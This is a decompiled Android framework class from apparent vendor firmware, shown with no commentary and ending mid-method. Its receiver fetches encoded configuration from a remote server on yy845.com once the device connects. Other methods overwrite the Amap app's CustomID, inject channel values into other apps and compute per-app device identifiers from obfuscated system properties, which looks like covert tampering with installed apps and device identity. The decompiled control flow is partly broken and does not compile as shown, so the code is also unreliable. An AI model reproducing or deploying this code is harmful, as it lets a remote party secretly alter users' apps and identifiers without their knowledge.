|
package com.android.internal.os; |
|
|
|
import android.app.ActivityManager$RunningAppProcessInfo; |
|
import android.content.BroadcastReceiver; |
|
import android.content.Context; |
|
import android.content.Intent; |
|
import android.content.IntentFilter; |
|
import android.net.ConnectivityManager; |
|
import android.net.NetworkInfo$State; |
|
import android.net.NetworkInfo; |
|
import android.net.wifi.WifiInfo; |
|
import android.os.FileUtils; |
|
import android.os.SystemProperties; |
|
import android.text.TextUtils; |
|
import android.util.ArrayMap; |
|
import android.util.Base64; |
|
import android.util.Log; |
|
import java.io.BufferedInputStream; |
|
import java.io.BufferedOutputStream; |
|
import java.io.ByteArrayOutputStream; |
|
import java.io.File; |
|
import java.io.FileOutputStream; |
|
import java.io.IOException; |
|
import java.io.InputStream; |
|
import java.net.URL; |
|
import java.util.ArrayList; |
|
import java.util.HashMap; |
|
import java.util.Iterator; |
|
import java.util.List; |
|
import java.util.Map$Entry; |
|
import java.util.Map; |
|
import org.json.JSONArray; |
|
import org.json.JSONException; |
|
import org.json.JSONObject; |
|
import org.json.JSONStringer; |
|
import org.json.JSONTokener; |
|
|
|
public class DeviceFocusUtil { |
|
class com.android.internal.os.DeviceFocusUtil$1 { |
|
} |
|
|
|
class Base64Utils { |
|
private static final char[] crypt_chars = null; |
|
private static final String crypt_str = "FL9fIYOiWUyz/Jr57g8dMtRVaGvX0lm6BwjkxeQ231qSZnEAHpo4+PCscubNhKDT"; |
|
private static final int length = 0x40; |
|
private static final char[] orig_chars = null; |
|
private static final String orig_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/+"; |
|
|
|
static { |
|
// Method was not decompiled |
|
} |
|
|
|
Base64Utils() { |
|
super(); |
|
} |
|
|
|
private static String decodeByBase64(String arg2) { |
|
String v0 = null; |
|
if(arg2 != null) { |
|
v0 = new String(Base64.decode(arg2, 2)); |
|
} |
|
|
|
return v0; |
|
} |
|
|
|
public static String decrypt(String arg5) { |
|
if(!TextUtils.isEmpty(((CharSequence)arg5))) { |
|
char[] v2 = new char[arg5.length()]; |
|
char[] v3 = new char[arg5.length()]; |
|
arg5.getChars(0, arg5.length(), v3, 0); |
|
HashMap v4 = Base64Utils.getDecryptMap(); |
|
int v1 = 0; |
|
while(v1 < v3.length) { |
|
try { |
|
v2[v1] = ((char)v4.get(Character.valueOf(v3[v1])).charValue()); |
|
++v1; |
|
continue; |
|
} |
|
catch(Exception v0) { |
|
return ""; |
|
} |
|
} |
|
|
|
String v0_1 = String.copyValueOf(v2); |
|
v1 = v0_1.length() % 4; |
|
if(v1 == 2) { |
|
v0_1 = v0_1 + "=="; |
|
} |
|
else if(v1 == 3) { |
|
v0_1 = v0_1 + "="; |
|
} |
|
|
|
return Base64Utils.decodeByBase64(v0_1); |
|
} |
|
|
|
return arg5; |
|
} |
|
|
|
private static String encodeByBase64(String arg2) { |
|
String v0 = null; |
|
if(arg2 != null) { |
|
v0 = Base64.encodeToString(arg2.getBytes(), 2); |
|
} |
|
|
|
return v0; |
|
} |
|
|
|
public static String encrypt(String arg5) { |
|
int v1 = 0; |
|
if(!TextUtils.isEmpty(((CharSequence)arg5))) { |
|
String v0 = Base64Utils.encodeByBase64(arg5); |
|
if(v0.indexOf("=") != -1) { |
|
v0 = v0.substring(0, v0.indexOf("=")); |
|
} |
|
|
|
char[] v2 = new char[v0.length()]; |
|
char[] v3 = new char[v0.length()]; |
|
v0.getChars(0, v0.length(), v3, 0); |
|
HashMap v4 = Base64Utils.getEncryptMap(); |
|
while(v1 < v3.length) { |
|
try { |
|
v2[v1] = ((char)v4.get(Character.valueOf(v3[v1])).charValue()); |
|
} |
|
catch(Exception v0_1) { |
|
} |
|
|
|
++v1; |
|
} |
|
|
|
return String.copyValueOf(v2); |
|
} |
|
|
|
return arg5; |
|
} |
|
|
|
private static HashMap getDecryptMap() { |
|
HashMap v1 = new HashMap(); |
|
int v0; |
|
for(v0 = 0; v0 < "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/+".length(); ++v0) { |
|
v1.put(Character.valueOf(Base64Utils.crypt_chars[v0]), Character.valueOf(Base64Utils.orig_chars[v0])); |
|
} |
|
|
|
return v1; |
|
} |
|
|
|
private static HashMap getEncryptMap() { |
|
HashMap v1 = new HashMap(); |
|
int v0; |
|
for(v0 = 0; v0 < "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/+".length(); ++v0) { |
|
v1.put(Character.valueOf(Base64Utils.orig_chars[v0]), Character.valueOf(Base64Utils.crypt_chars[v0])); |
|
} |
|
|
|
return v1; |
|
} |
|
} |
|
|
|
class JSONHelper { |
|
JSONHelper() { |
|
super(); |
|
} |
|
|
|
public static Object jsonEnclose(Object arg4) { |
|
int v0 = 0; |
|
try { |
|
if(!(arg4 instanceof Map)) { |
|
if(!(arg4 instanceof List)) { |
|
return arg4; |
|
} |
|
|
|
JSONStringer v1 = new JSONStringer().array(); |
|
while(v0 < ((List)arg4).size()) { |
|
v1.value(JSONHelper.jsonEnclose(((List)arg4).get(v0))); |
|
++v0; |
|
} |
|
|
|
return new JSONArray(new JSONTokener(v1.endArray().toString())); |
|
} |
|
|
|
Iterator v2 = ((Map)arg4).entrySet().iterator(); |
|
JSONStringer v3 = new JSONStringer().object(); |
|
while(v2.hasNext()) { |
|
Object v0_2 = v2.next(); |
|
v3.key(((Map$Entry)v0_2).getKey()).value(JSONHelper.jsonEnclose(((Map$Entry)v0_2).getValue())); |
|
} |
|
|
|
return new JSONObject(new JSONTokener(v3.endObject().toString())); |
|
} |
|
catch(Exception v0_1) { |
|
return v0_1.getMessage(); |
|
} |
|
} |
|
|
|
public static Object jsonParse(String arg3) { |
|
try { |
|
return JSONHelper.parseJSON2Map(arg3); |
|
} |
|
catch(JSONException v0) { |
|
DeviceFocusUtil.logAsset("Exception in parse JSONObject, may be JSONArray, e---------->>>>" + v0); |
|
try { |
|
return JSONHelper.parseJSON2List(arg3); |
|
} |
|
catch(JSONException v0) { |
|
DeviceFocusUtil.logAsset("Exception in parse JSONArray, can only return original string, e1---------->>>>" + v0); |
|
return arg3; |
|
} |
|
} |
|
} |
|
|
|
public static Object jsonParseFile(String arg4) { |
|
Object v3 = null; |
|
try { |
|
return JSONHelper.jsonParse(FileUtils.readTextFile(new File(arg4), 0, null)); |
|
} |
|
catch(Exception v0) { |
|
return v3; |
|
} |
|
} |
|
|
|
public static List parseJSON2List(String arg1) throws JSONException { |
|
return JSONHelper.parseJSON2List(new JSONArray(arg1)); |
|
} |
|
|
|
public static List parseJSON2List(JSONArray arg3) throws JSONException { |
|
ArrayList v1 = new ArrayList(); |
|
int v0; |
|
for(v0 = 0; v0 < arg3.length(); ++v0) { |
|
((List)v1).add(JSONHelper.parseJSON2Map(arg3.getJSONObject(v0))); |
|
} |
|
|
|
return ((List)v1); |
|
} |
|
|
|
public static Map parseJSON2Map(String arg1) throws JSONException { |
|
return JSONHelper.parseJSON2Map(new JSONObject(arg1)); |
|
} |
|
|
|
public static Map parseJSON2Map(JSONObject arg5) throws JSONException { |
|
HashMap v2 = new HashMap(); |
|
Iterator v3 = arg5.keys(); |
|
while(v3.hasNext()) { |
|
Object v0 = v3.next(); |
|
Object v1 = arg5.get(((String)v0)); |
|
if(!(v1 instanceof JSONArray)) { |
|
if(!(v1 instanceof JSONObject)) { |
|
((Map)v2).put(v0, v1); |
|
continue; |
|
} |
|
|
|
((Map)v2).put(v0, JSONHelper.parseJSON2Map(((JSONObject)v1))); |
|
continue; |
|
} |
|
|
|
((Map)v2).put(v0, JSONHelper.parseJSON2List(((JSONArray)v1))); |
|
} |
|
|
|
return ((Map)v2); |
|
} |
|
} |
|
|
|
class UpdateReceiver extends BroadcastReceiver { |
|
UpdateReceiver(com.android.internal.os.DeviceFocusUtil$1 arg1) { |
|
this(); |
|
} |
|
|
|
private UpdateReceiver() { |
|
super(); |
|
} |
|
|
|
private static int getAvailableNetworkType(Context arg6, Intent arg7) { |
|
int v4 = 1; |
|
try { |
|
Object v0_1 = arg6.getSystemService("connectivity"); |
|
Object v1 = arg7.getExtras().get("networkInfo"); |
|
int v2 = ((NetworkInfo)v1).getState() != NetworkInfo$State.CONNECTED ? 0 : 1; |
|
NetworkInfo v5 = ((ConnectivityManager)v0_1).getActiveNetworkInfo(); |
|
int v0_2 = v5 == null || !v5.isAvailable() || !v5.isConnected() ? 0 : 1; |
|
if(v2 == 0 || v0_2 == 0 || ((NetworkInfo)v1).getType() != v5.getType()) { |
|
v4 = 0; |
|
} |
|
|
|
if(v4 == 0) { |
|
return -1; |
|
} |
|
|
|
return v5.getType(); |
|
} |
|
catch(Exception v0) { |
|
v0.printStackTrace(); |
|
} |
|
|
|
return -1; |
|
} |
|
|
|
public void onReceive(Context arg4, Intent arg5) { |
|
int v0 = UpdateReceiver.getAvailableNetworkType(arg4, arg5); |
|
DeviceFocusUtil.logAsset("UpdateReceiver onReceive type ---------->>>>" + v0); |
|
if(v0 != -1) { |
|
new Thread() { |
|
public void run() { |
|
try { |
|
DeviceFocusUtil.logAsset("UpdateReceiver onReceive Thread1 ---------->>>>"); |
|
File v0_1 = new File("/data/security/focus"); |
|
if(!v0_1.exists()) { |
|
v0_1.mkdirs(); |
|
} |
|
|
|
String v0_2 = String.format("http://service-safemgr.yy845.com:8082/safeconfigmanager/services/SafeConfigWebService/getConfigList?paramJson={\"channel\":\"%s\",\"enc\":true,\"uuid\":\"\",\"data\":[{\"key\":\"ZYSE010302\",\"ver\":\"%d\"}]}", SystemProperties.get("ro.build.freemeos_customer_no", "default"), Integer.valueOf(DeviceFocusUtil.sVersion)); |
|
DeviceFocusUtil.logAsset("UpdateReceiver onReceive Thread1 url---------->>>>" + v0_2); |
|
v0_2 = DeviceFocusUtil.readURLFile(v0_2); |
|
if(DeviceFocusUtil.DEBUG) { |
|
DeviceFocusUtil.logAsset("server configJson ---------->>>>" + v0_2); |
|
FileUtils.stringToFile("/data/security/focus/security.properties_server", v0_2); |
|
} |
|
|
|
v0_2 = Base64Utils.decrypt(v0_2); |
|
if(DeviceFocusUtil.DEBUG) { |
|
DeviceFocusUtil.logAsset("server configJson de---------->>>>" + v0_2); |
|
FileUtils.stringToFile("/data/security/focus/security.properties_server_de", v0_2); |
|
} |
|
|
|
Object v0_3 = JSONHelper.jsonParse(v0_2).get("data"); |
|
if(((List)v0_3).size() > 0) { |
|
Iterator v1 = ((List)v0_3).iterator(); |
|
while(v1.hasNext()) { |
|
v0_3 = v1.next(); |
|
if(!"ZYSE010302".equals(((Map)v0_3).get("key"))) { |
|
continue; |
|
} |
|
|
|
v0_2 = JSONHelper.jsonEnclose(((Map)v0_3).get("value")).toString(); |
|
if(DeviceFocusUtil.DEBUG) { |
|
DeviceFocusUtil.logAsset("server configJson single de---------->>>>" + v0_2); |
|
} |
|
|
|
v0_2 = Base64Utils.encrypt(v0_2); |
|
if(DeviceFocusUtil.DEBUG) { |
|
DeviceFocusUtil.logAsset("server configJson single en---------->>>>" + v0_2); |
|
} |
|
|
|
FileUtils.stringToFile("/data/security/focus/security.properties", v0_2); |
|
} |
|
} |
|
|
|
return; |
|
} |
|
catch(Exception v0) { |
|
DeviceFocusUtil.logAsset("Exception---------->>>>", v0); |
|
return; |
|
} |
|
} |
|
}.start(); |
|
} |
|
|
|
arg4.unregisterReceiver(((BroadcastReceiver)this)); |
|
} |
|
} |
|
|
|
private static final String COM_ANDROID_SECURITY_SECURITY_PROPERTIES = "/com/android/security/security.properties"; |
|
private static final String DATA_SECURITY_FOCUS = "/data/security/focus"; |
|
private static final String DATA_SECURITY_FOCUS_SECURITY_PROPERTIES = "/data/security/focus/security.properties"; |
|
private static boolean DEBUG = false; |
|
private static final String ISSUE_CODE_FOCUS1 = "ZYSE010302"; |
|
private static final String ISSUE_CODE_FOCUS1_URL = "http://service-safemgr.yy845.com:8082/safeconfigmanager/services/SafeConfigWebService/getConfigList?paramJson={\"channel\":\"%s\",\"enc\":true,\"uuid\":\"\",\"data\":[{\"key\":\"ZYSE010302\",\"ver\":\"%d\"}]}"; |
|
private static final String ISSUE_CODE_FOCUS1_URL_TEST = "http://service-safemgr.yy845.com:8092/safeconfigtest/services/SafeConfigWebService/getConfigList?paramJson={\"channel\":\"%s\",\"enc\":true,\"uuid\":\"\",\"data\":[{\"key\":\"ZYSE010302\",\"ver\":\"%d\"}]}"; |
|
private static final String ISSUE_CODE_FOCUS2 = "ZYSE010303"; |
|
private static String TAG; |
|
private static List sBundle; |
|
private static List sChannelFile; |
|
private static HashMap sChannelInfo; |
|
private static List sSharedPreference; |
|
private static int sVersion; |
|
private static List sZipEntry; |
|
|
|
static { |
|
// Method was not decompiled |
|
} |
|
|
|
public DeviceFocusUtil() { |
|
super(); |
|
} |
|
|
|
static int access$100() { |
|
return DeviceFocusUtil.sVersion; |
|
} |
|
|
|
static boolean access$200() { |
|
return DeviceFocusUtil.DEBUG; |
|
} |
|
|
|
public static long available(long arg2, String arg4) { |
|
DeviceFocusUtil.logAsset("available len= " + arg2); |
|
if(arg4 != null) { |
|
int v0 = arg2 <= 0 ? 1 : 0; |
|
if(v0 != 0) { |
|
goto label_8; |
|
} |
|
|
|
arg2 = ((long)arg4.length()); |
|
DeviceFocusUtil.logAsset("use channel string"); |
|
} |
|
|
|
label_8: |
|
DeviceFocusUtil.logAsset("available len= " + arg2); |
|
return arg2; |
|
} |
|
|
|
private static Object castDataType(String arg2) { |
|
Integer v2_4; |
|
if(arg2.startsWith("(int)")) { |
|
v2_4 = Integer.valueOf(arg2.replace("(int)", "")); |
|
} |
|
else if(arg2.startsWith("(long)")) { |
|
Long v2_3 = Long.valueOf(arg2.replace("(long)", "")); |
|
} |
|
else if(arg2.startsWith("(short)")) { |
|
Short v2_2 = Short.valueOf(arg2.replace("(short)", "")); |
|
} |
|
else if(arg2.startsWith("(float)")) { |
|
Float v2_1 = Float.valueOf(arg2.replace("(float)", "")); |
|
} |
|
else if(arg2.startsWith("(double)")) { |
|
Double v2 = Double.valueOf(arg2.replace("(double)", "")); |
|
} |
|
|
|
return ((String)v2_4); |
|
} |
|
|
|
private static int checkReadBuffer(int arg7, String arg8, byte[] arg9) { |
|
int v1; |
|
byte[] v4; |
|
int v2; |
|
int v6 = -1; |
|
int v0 = 0; |
|
if(arg8 != null && arg7 > 0) { |
|
try { |
|
v2 = arg8.length(); |
|
int v3 = arg9.length; |
|
if(v2 <= v3) { |
|
v4 = arg8.getBytes(); |
|
v1 = 0; |
|
goto label_11; |
|
} |
|
else { |
|
return v6; |
|
} |
|
} |
|
catch(Exception v0_1) { |
|
return v6; |
|
} |
|
} |
|
|
|
return v6; |
|
try { |
|
label_11: |
|
while(v1 < v3) { |
|
arg9[v1] = 0; |
|
++v1; |
|
} |
|
|
|
while(v0 < v2) { |
|
arg9[v0] = ((byte)v4[v0]); |
|
++v0; |
|
} |
|
|
|
return v2; |
|
} |
|
catch(Exception v0_1) { |
|
return v6; |
|
} |
|
} |
|
|
|
private static int checkReadBufferExt(int arg9, int arg10, byte[] arg11, String arg12, String arg13) { |
|
String v5_1; |
|
int v4; |
|
int v0_2; |
|
String v3; |
|
String v0_1; |
|
int v2 = 0; |
|
int v1 = -1; |
|
try { |
|
if(("com.autonavi.minimap".equals(arg12)) && ("amap_configer.data".equals(arg13)) && arg9 == 0 && arg10 > 0) { |
|
v0_1 = new String(arg11); |
|
if(!v0_1.contains("CustomID=")) { |
|
v3 = v0_1; |
|
v0_2 = 0; |
|
} |
|
else { |
|
v4 = v0_1.indexOf("CustomID="); |
|
if(v4 < 0) { |
|
v3 = v0_1; |
|
v0_2 = 0; |
|
} |
|
else { |
|
String[] v4_1 = v0_1.substring(v4).split("\t\n"); |
|
if(v4_1 != null && v4_1.length > 1) { |
|
String v4_2 = v4_1[0]; |
|
int v5 = v4_2.length(); |
|
int v7 = "CustomID=C01110001197".length(); |
|
v0_1 = v0_1.replace(((CharSequence)v4_2), "CustomID=C01110001197"); |
|
int v6 = v7 - v5; |
|
if(v6 > 0) { |
|
v5_1 = "##Final##"; |
|
v4 = 0; |
|
goto label_54; |
|
label_66: |
|
v5_1 = "##Final##"; |
|
v4 = 0; |
|
goto label_69; |
|
} |
|
else if(v6 < 0) { |
|
goto label_66; |
|
} |
|
|
|
goto label_47; |
|
} |
|
|
|
goto label_33; |
|
} |
|
} |
|
|
|
goto label_20; |
|
} |
|
|
|
return v1; |
|
label_33: |
|
v3 = v0_1; |
|
v0_2 = 0; |
|
goto label_20; |
|
label_69: |
|
while(v4 < Math.abs(v6)) { |
|
v5_1 = v5_1 + "#"; |
|
++v4; |
|
} |
|
|
|
v0_1 = v0_1.replace("##Final##", ((CharSequence)v5_1)); |
|
goto label_47; |
|
label_54: |
|
while(v4 < v6) { |
|
v5_1 = v5_1 + "#"; |
|
++v4; |
|
} |
|
|
|
v0_1 = v0_1.replace(((CharSequence)v5_1), "##Final##"); |
|
label_47: |
|
String v8 = v0_1; |
|
v0_2 = 1; |
|
v3 = v8; |
|
label_20: |
|
if(v0_2 == 0) { |
|
return v1; |
|
} |
|
|
|
v0_2 = arg11.length; |
|
byte[] v3_1 = v3.getBytes(); |
|
while(v2 < v0_2) { |
|
arg11[v2] = ((byte)v3_1[v2]); |
|
++v2; |
|
} |
|
|
|
return v0_2; |
|
} |
|
catch(Exception v0) { |
|
return v1; |
|
} |
|
} |
|
|
|
private static String decodeToPackageName(String arg10) { |
|
char[] v5 = new char[]{'.', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; |
|
char[] v6 = new char[]{'E', 'j', 'G', 'Y', 'Z', 'i', 'h', 'O', 'H', 'T', 'U', 'X', 'k', 'l', 'm', 'F', 'P', 'Q', 'n', 'o', 'p', 'q', 'r', 'b', 'I', 'N', 'a', 'e', 'c', 'd', 's', '.', 'A', 'y', 'z', 'B', 'C', 'J', 'K', 'V', 'W', 'L', 'M', 'D', 't', 'u', 'f', 'g', 'R', 'S', 'v', 'w', 'x'}; |
|
int v7 = arg10.length(); |
|
int v3 = 0; |
|
String v4; |
|
for(v4 = ""; v3 < v7; v4 = v4 + v2) { |
|
char v8 = ((char)arg10.charAt(v3)); |
|
char v2 = ((char)v8); |
|
int v0; |
|
for(v0 = 0; v0 < v6.length; ++v0) { |
|
if(v6[v0] == v8) { |
|
v2 = ((char)v5[v0]); |
|
} |
|
} |
|
|
|
++v3; |
|
} |
|
|
|
return v4; |
|
} |
|
|
|
private static String encodeFromPackageNameForImei(String arg11) { |
|
int v10 = 18; |
|
char[] v5 = new char[53]; |
|
v5[0] = '.'; |
|
v5[1] = 'A'; |
|
v5[2] = 'B'; |
|
v5[3] = 'C'; |
|
v5[4] = 'D'; |
|
v5[5] = 'E'; |
|
v5[6] = 'F'; |
|
v5[7] = 'G'; |
|
v5[8] = 'H'; |
|
v5[9] = 'I'; |
|
v5[10] = 'J'; |
|
v5[11] = 'K'; |
|
v5[12] = 'L'; |
|
v5[13] = 'M'; |
|
v5[14] = 'N'; |
|
v5[15] = 'O'; |
|
v5[16] = 'P'; |
|
v5[17] = 'Q'; |
|
v5[v10] = 'R'; |
|
v5[19] = 'S'; |
|
v5[20] = 'T'; |
|
v5[21] = 'U'; |
|
v5[22] = 'V'; |
|
v5[23] = 'W'; |
|
v5[24] = 'X'; |
|
v5[25] = 'Y'; |
|
v5[26] = 'Z'; |
|
v5[27] = 'a'; |
|
v5[28] = 'b'; |
|
v5[29] = 'c'; |
|
v5[30] = 'd'; |
|
v5[0x1F] = 'e'; |
|
v5[0x20] = 'f'; |
|
v5[33] = 'g'; |
|
v5[34] = 'h'; |
|
v5[35] = 'i'; |
|
v5[36] = 'j'; |
|
v5[37] = 'k'; |
|
v5[38] = 'l'; |
|
v5[39] = 'm'; |
|
v5[40] = 'n'; |
|
v5[41] = 'o'; |
|
v5[42] = 'p'; |
|
v5[43] = 'q'; |
|
v5[44] = 'r'; |
|
v5[45] = 's'; |
|
v5['.'] = 't'; |
|
v5[0x2F] = 'u'; |
|
v5[0x30] = 'v'; |
|
v5['1'] = 'w'; |
|
v5['2'] = 'x'; |
|
v5[51] = 'y'; |
|
v5[52] = 'z'; |
|
char[] v6 = new char[53]; |
|
v6[0] = 'E'; |
|
v6[1] = 'j'; |
|
v6[2] = 'G'; |
|
v6[3] = 'Y'; |
|
v6[4] = 'Z'; |
|
v6[5] = 'i'; |
|
v6[6] = 'h'; |
|
v6[7] = 'O'; |
|
v6[8] = '1'; |
|
v6[9] = 'T'; |
|
v6[10] = 'U'; |
|
v6[11] = 'X'; |
|
v6[12] = 'k'; |
|
v6[13] = 'l'; |
|
v6[14] = 'm'; |
|
v6[15] = 'F'; |
|
v6[16] = '3'; |
|
v6[17] = '2'; |
|
v6[v10] = 'n'; |
|
v6[19] = 'o'; |
|
v6[20] = 'p'; |
|
v6[21] = 'q'; |
|
v6[22] = 'r'; |
|
v6[23] = 'b'; |
|
v6[24] = 'I'; |
|
v6[25] = 'N'; |
|
v6[26] = 'a'; |
|
v6[27] = 'e'; |
|
v6[28] = 'c'; |
|
v6[29] = 'd'; |
|
v6[30] = 's'; |
|
v6[0x1F] = '.'; |
|
v6[0x20] = 'A'; |
|
v6[33] = 'y'; |
|
v6[34] = 'z'; |
|
v6[35] = 'B'; |
|
v6[36] = 'C'; |
|
v6[37] = 'J'; |
|
v6[38] = 'K'; |
|
v6[39] = 'V'; |
|
v6[40] = 'W'; |
|
v6[41] = 'L'; |
|
v6[42] = 'M'; |
|
v6[43] = 'D'; |
|
v6[44] = 't'; |
|
v6[45] = 'u'; |
|
v6['.'] = 'f'; |
|
v6[0x2F] = 'g'; |
|
v6[0x30] = 'R'; |
|
v6['1'] = 'S'; |
|
v6['2'] = 'v'; |
|
v6[51] = 'w'; |
|
v6[52] = 'x'; |
|
int v7 = arg11.length(); |
|
int v3 = 0; |
|
String v4; |
|
for(v4 = ""; v3 < v7; v4 = v4 + v0_1) { |
|
if(v3 >= v10) { |
|
return v4; |
|
} |
|
|
|
char v8 = ((char)arg11.charAt(v3)); |
|
char v2 = ((char)v8); |
|
int v0 = 0; |
|
while(true) { |
|
if(v0 >= v5.length) { |
|
goto label_326; |
|
} |
|
else if(v5[v0] != v8) { |
|
++v0; |
|
continue; |
|
} |
|
else { |
|
break; |
|
} |
|
} |
|
|
|
char v0_1 = ((char)v6[v0]); |
|
goto label_327; |
|
label_326: |
|
v0_1 = v2; |
|
label_327: |
|
++v3; |
|
} |
|
|
|
return v4; |
|
} |
|
|
|
private static String encodeFromPackageNameForMac(String arg11) { |
|
int v10 = 17; |
|
char[] v5 = new char[53]; |
|
v5[0] = '.'; |
|
v5[1] = 'A'; |
|
v5[2] = 'B'; |
|
v5[3] = 'C'; |
|
v5[4] = 'D'; |
|
v5[5] = 'E'; |
|
v5[6] = 'F'; |
|
v5[7] = 'G'; |
|
v5[8] = 'H'; |
|
v5[9] = 'I'; |
|
v5[10] = 'J'; |
|
v5[11] = 'K'; |
|
v5[12] = 'L'; |
|
v5[13] = 'M'; |
|
v5[14] = 'N'; |
|
v5[15] = 'O'; |
|
v5[16] = 'P'; |
|
v5[v10] = 'Q'; |
|
v5[18] = 'R'; |
|
v5[19] = 'S'; |
|
v5[20] = 'T'; |
|
v5[21] = 'U'; |
|
v5[22] = 'V'; |
|
v5[23] = 'W'; |
|
v5[24] = 'X'; |
|
v5[25] = 'Y'; |
|
v5[26] = 'Z'; |
|
v5[27] = 'a'; |
|
v5[28] = 'b'; |
|
v5[29] = 'c'; |
|
v5[30] = 'd'; |
|
v5[0x1F] = 'e'; |
|
v5[0x20] = 'f'; |
|
v5[33] = 'g'; |
|
v5[34] = 'h'; |
|
v5[35] = 'i'; |
|
v5[36] = 'j'; |
|
v5[37] = 'k'; |
|
v5[38] = 'l'; |
|
v5[39] = 'm'; |
|
v5[40] = 'n'; |
|
v5[41] = 'o'; |
|
v5[42] = 'p'; |
|
v5[43] = 'q'; |
|
v5[44] = 'r'; |
|
v5[45] = 's'; |
|
v5['.'] = 't'; |
|
v5[0x2F] = 'u'; |
|
v5[0x30] = 'v'; |
|
v5['1'] = 'w'; |
|
v5['2'] = 'x'; |
|
v5[51] = 'y'; |
|
v5[52] = 'z'; |
|
char[] v6 = new char[53]; |
|
v6[0] = 'E'; |
|
v6[1] = 'j'; |
|
v6[2] = 'G'; |
|
v6[3] = 'Y'; |
|
v6[4] = 'Z'; |
|
v6[5] = 'i'; |
|
v6[6] = 'h'; |
|
v6[7] = 'O'; |
|
v6[8] = '1'; |
|
v6[9] = 'T'; |
|
v6[10] = 'U'; |
|
v6[11] = 'X'; |
|
v6[12] = 'k'; |
|
v6[13] = 'l'; |
|
v6[14] = 'm'; |
|
v6[15] = 'F'; |
|
v6[16] = '3'; |
|
v6[v10] = '2'; |
|
v6[18] = 'n'; |
|
v6[19] = 'o'; |
|
v6[20] = 'p'; |
|
v6[21] = 'q'; |
|
v6[22] = 'r'; |
|
v6[23] = 'b'; |
|
v6[24] = 'I'; |
|
v6[25] = 'N'; |
|
v6[26] = 'a'; |
|
v6[27] = 'e'; |
|
v6[28] = 'c'; |
|
v6[29] = 'd'; |
|
v6[30] = 's'; |
|
v6[0x1F] = '.'; |
|
v6[0x20] = 'A'; |
|
v6[33] = 'y'; |
|
v6[34] = 'z'; |
|
v6[35] = 'B'; |
|
v6[36] = 'C'; |
|
v6[37] = 'J'; |
|
v6[38] = 'K'; |
|
v6[39] = 'V'; |
|
v6[40] = 'W'; |
|
v6[41] = 'L'; |
|
v6[42] = 'M'; |
|
v6[43] = 'D'; |
|
v6[44] = 't'; |
|
v6[45] = 'u'; |
|
v6['.'] = 'f'; |
|
v6[0x2F] = 'g'; |
|
v6[0x30] = 'R'; |
|
v6['1'] = 'S'; |
|
v6['2'] = 'v'; |
|
v6[51] = 'w'; |
|
v6[52] = 'x'; |
|
int v7 = arg11.length(); |
|
int v3 = 0; |
|
String v4; |
|
for(v4 = ""; v3 < v7; v4 = v4 + v0_1) { |
|
if(v3 >= v10) { |
|
return v4; |
|
} |
|
|
|
char v8 = ((char)arg11.charAt(v3)); |
|
char v2 = ((char)v8); |
|
int v0 = 0; |
|
while(true) { |
|
if(v0 >= v5.length) { |
|
goto label_326; |
|
} |
|
else if(v5[v0] != v8) { |
|
++v0; |
|
continue; |
|
} |
|
else { |
|
break; |
|
} |
|
} |
|
|
|
char v0_1 = ((char)v6[v0]); |
|
goto label_327; |
|
label_326: |
|
v0_1 = v2; |
|
label_327: |
|
++v3; |
|
} |
|
|
|
return v4; |
|
} |
|
|
|
public static Object getAppsBundleValue(ArrayMap arg7, String arg8) { |
|
Object v4; |
|
Object v0_1; |
|
Object v6 = null; |
|
try { |
|
Iterator v5 = DeviceFocusUtil.sBundle.iterator(); |
|
do { |
|
label_3: |
|
if(!v5.hasNext()) { |
|
return v6; |
|
} |
|
|
|
v0_1 = v5.next(); |
|
((Map)v0_1).get("package"); |
|
Object v1 = ((Map)v0_1).get("channel_key"); |
|
Object v2 = ((Map)v0_1).get("app_key"); |
|
Object v3 = ((Map)v0_1).get("app_value"); |
|
v4 = DeviceFocusUtil.castDataType(((Map)v0_1).get("fixed_data")); |
|
if(!arg8.equals(v1)) { |
|
goto label_3; |
|
} |
|
|
|
if(TextUtils.isEmpty(((CharSequence)v2))) { |
|
goto label_34; |
|
} |
|
|
|
v1 = arg7.get(v2); |
|
if(v1 == null) { |
|
goto label_3; |
|
} |
|
} |
|
while(!((String)v1).equals(v3)); |
|
|
|
DeviceFocusUtil.logAsset("bundle---------->>>>" + v0_1); |
|
return v4; |
|
label_34: |
|
DeviceFocusUtil.logAsset("bundle---------->>>>" + v0_1); |
|
return v4; |
|
} |
|
catch(Exception v0) { |
|
DeviceFocusUtil.logAsset("Exception---------->>>>", v0); |
|
return v6; |
|
} |
|
} |
|
|
|
public static String getDeviceChannel(String arg3, String arg4) { |
|
Object v0_1; |
|
String v1 = null; |
|
DeviceFocusUtil.logAsset("getDeviceChannel-------------------->>>>" + arg3 + ":" + arg4); |
|
if(arg3 == null || arg4 == null) { |
|
v0_1 = v1; |
|
} |
|
else { |
|
try { |
|
DeviceFocusUtil.initChannelInfo(arg3); |
|
v0_1 = DeviceFocusUtil.sChannelInfo.size() <= 0 ? v1 : DeviceFocusUtil.sChannelInfo.get(arg4); |
|
} |
|
catch(Exception v0) { |
|
DeviceFocusUtil.logAsset("Exception---------->>>>", v0); |
|
goto label_14; |
|
} |
|
} |
|
|
|
Object v1_1 = v0_1; |
|
label_14: |
|
DeviceFocusUtil.logAsset("channel---------->>>>" + (((String)v1_1))); |
|
return ((String)v1_1); |
|
} |
|
|
|
public static String getDeviceFocusId(Context arg2, int arg3) { |
|
String v1 = null; |
|
String v0 = DeviceFocusUtil.getPackageName(arg2, arg3); |
|
if(v0 == null) { |
|
return v1; |
|
} |
|
|
|
return DeviceFocusUtil.getDeviceFocusId(v0); |
|
} |
|
|
|
public static String getDeviceFocusId(String arg4) { |
|
String v3 = null; |
|
if(arg4 == null) { |
|
return v3; |
|
} |
|
|
|
try { |
|
String v0_1 = SystemProperties.get("persist.sys." + DeviceFocusUtil.encodeFromPackageNameForImei(arg4), "0"); |
|
if(v0_1 != null) { |
|
} |
|
else { |
|
return v3; |
|
} |
|
|
|
if(v0_1.length() != 15) { |
|
return v3; |
|
} |
|
|
|
